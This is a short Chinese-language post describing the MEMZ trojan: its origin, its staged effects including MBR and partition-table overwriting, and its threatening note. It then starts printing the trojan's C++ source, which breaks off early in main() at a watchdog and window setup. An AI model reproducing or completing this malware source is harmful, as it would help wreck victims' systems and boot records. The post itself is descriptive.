一、描述
彩虹猫病毒,又称MEMZ,是作者Leurak在2016年编写的特洛伊木马,来源于德国,主要由C++和汇编这两种编程语言编写的, 源文件的扩展名一般为.exe和.bat。
MEMZ是一种能运行于微软Windows操作系统的木马。它最初诞生是源于Danooct1的“观赏性恶意软件”系列。该木马拥有好几个感染阶段,并且全部阶段都由其他阶段自动触发,某些会延迟执行。 它能以.exe文件方式和批处理文件去运行。其中批处理版本的运行方式类似于压缩文件的自解压,然后运行解压出来的.exe文件。
二、效果
根据Leurak所描述,它的过程有:
- 打开一个标题为“note”的txt文本文档,里面是英文“YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN. Your computer won't boot up again, so use it as long as you can! :D Trying to kill MEMZ will cause your system to be destroyed instantly, so don't try it :D ”
- 随机打开(搜索)网页、应用程序
- 鼠标指针的移动
- 随机键盘输入
- 错误的提示声效(依据操作系统而改变)
- 颜色反转
- 弹出消息框
- 绘制错误图标
- 大部分的文字会被反转(在Windows XP下开始按钮的文字也会被反转)
- 对整个屏幕进行截屏(“隧道效果”)
- 出现屏幕失灵的现象
- MBR分区被重写。分区表也可能被破坏
其他感染阶段(后面版本才增加的)
- 随机的芯片音乐
- 随机屏幕错位
三、源代码(最好不要运行,我没有试)
int scrw, scrh;
#ifdef CLEAN
HWND mainWindow; // In the main window, in the main window, in the main window, ...
HFONT font;
HWND dialog;
#endif
void main() {
scrw = GetSystemMetrics(SM_CXSCREEN);
scrh = GetSystemMetrics(SM_CYSCREEN);
#ifndef CLEAN
int argc;
LPWSTR *argv = CommandLineToArgvW(GetCommandLineW(), &argc);
if (argc > 1) {
if (!lstrcmpW(argv[1], L"/watchdog")) {
CreateThread(NULL, NULL, &watchdogThread, NULL, NULL, NULL);
WNDCLASSEXA c;
c.cbSize = sizeof(WNDCLASSEXA);
c.lpfnWndProc = WindowProc;
c.lpszClassName = "hax";
c.style = 0;
c.cbClsExtra = 0;
c.cbWndExtra = 0;
c.hInstance = NULL;
c.hIcon = 0;
c.hCursor =